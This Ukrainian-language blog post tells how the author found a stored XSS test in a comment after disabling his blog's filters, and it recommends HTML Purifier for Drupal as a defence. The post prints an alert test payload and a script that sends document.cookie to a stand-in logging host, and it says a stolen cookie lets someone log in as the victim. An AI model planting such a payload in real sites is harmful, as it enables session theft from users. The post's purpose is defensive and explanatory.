sponsors:

<script>alert(0)</script> - XSS + боротьба


Я вже раніше писав про те, що для того, щоб навчитись кататись на лижах, потрібно навчитись падати.
Слова придумані не мною, але до теми цієї статті вони ой як підходять, правда в контексті того, "для навчання безпеці сайтів - спочатку потрібно навчитись взлому".

XSS - cross site scripting

От і сьогодні я майже попався 8)...
Благо, десь там ззаду є вже одна чи дві звилини від того, що колись читав і пробував ламати...
Вона і допомогла.

Отже - коментар на Вашому блозі.
Що Ви в першу чергу робитимете? Ясне діло - його вартує переглянути, бо "а раптом спам", чи "а раптом нарешті щось корисне".
От тільки я вже дуже давно знаю про те, що не варто заходити на сайт, після отримання на ньому щось нового, зареєстрованим користувачем чи то навіть адміном.

Але... Я зайшов... Ну знаєте як воно... Розпальцовка іноді заважає робити коректні речі. От і я клікнув, бо в полі коментаря було пусто. І перед вікном отримав банальне віконечко javascript alert - досить таки яскравий варіант того, що на сторінці, яку ви відкрили присутній код javascript, яким "кулхацкер" тестує Ваш сайт на предмет XSS.

Що таке XSS - завжди можна почитати в інтернеті, - коротко - це виконання на Вашому сайті коду, який там не повинен виконуватись.

Найчастіше з допомогою XSS - крадуть cookie, для того, щоб підставивши їх в свій броузер - зайти на сайт з правами того користувача, в якого вони були вкрадені.

Мій варіант - після мегачистки бази даних повимикав фільтри для коментарів, через що в поле коментаря можна було досить легко вписати javascript і він виконувався від імені того користувача(в даному випадку - мене).

<script>alert(0)</script>

Приклад вікна
Ну а далі все досить банально.
Замість тестованого коду вписується реальний код, який тим же javascript відсилає на інший сайт Ваші куки.
В моєму випадку код був ось такого вигляду

<script>
img = new Image(); img.src = "http://logger.site/any.gif?"+document.cookie;
</script>

В результаті, document.cookie підставляємо в ту ж оперу і заходимо на "взломаний сайт".

А тепер щодо боротьби...
В випадку, якщо Ви використовуєте якусь популярну CMS - варто глянути в наявні фільтри та додатки, які будуть викидати небезпечний код з матеріалів, що вводяться анонімними користувачами на Ваші сайти.

Я ж наведу приклад для Drupal - існує чудовий модуль HTML Чистильщик, який використовує широко відому в вузьких колах бібліотеку. Для тих, кому важко з "нерідною" - качайте переклад Українською.

Дану бібліотеку можна з легкістю встановити як незалежно від типу CMS, так і в складі будь-якої відомої системи керування сайтом, при умові, якщо вже придумали для неї додаток. Якщо ж не придумали - тоді можна і самому встановити, для цього читаєм відповідну документацію.

Які плюси? - ще до того, як інформація буде додана в базу Вашої системи керування сайтом - максимум лишнього буде викинуто.

Приклад роботи того ж HTML Чистильщика.
Деякі відомі XSS атаки, з яких можна частково зрозуміти що і як.

PS. Доречі - захист від XSS в Чистильщика - це всього навсього побічний ефект, який перетворився в круту фічу.

PPS. В будь-якому випадку, якщо Ви побачили такого роду вікно при вході на свій сайт - миттєво стирайте, міняйте паролі і обновляйте всі відомі дірки в Вашому програмному забезпеченні

Trackback URL for this post:

http://itua.name/en/trackback/670
Share this

Syndicate content Syndicate content

Propeople Expert

Партнери

експерименти

Rambler's Top100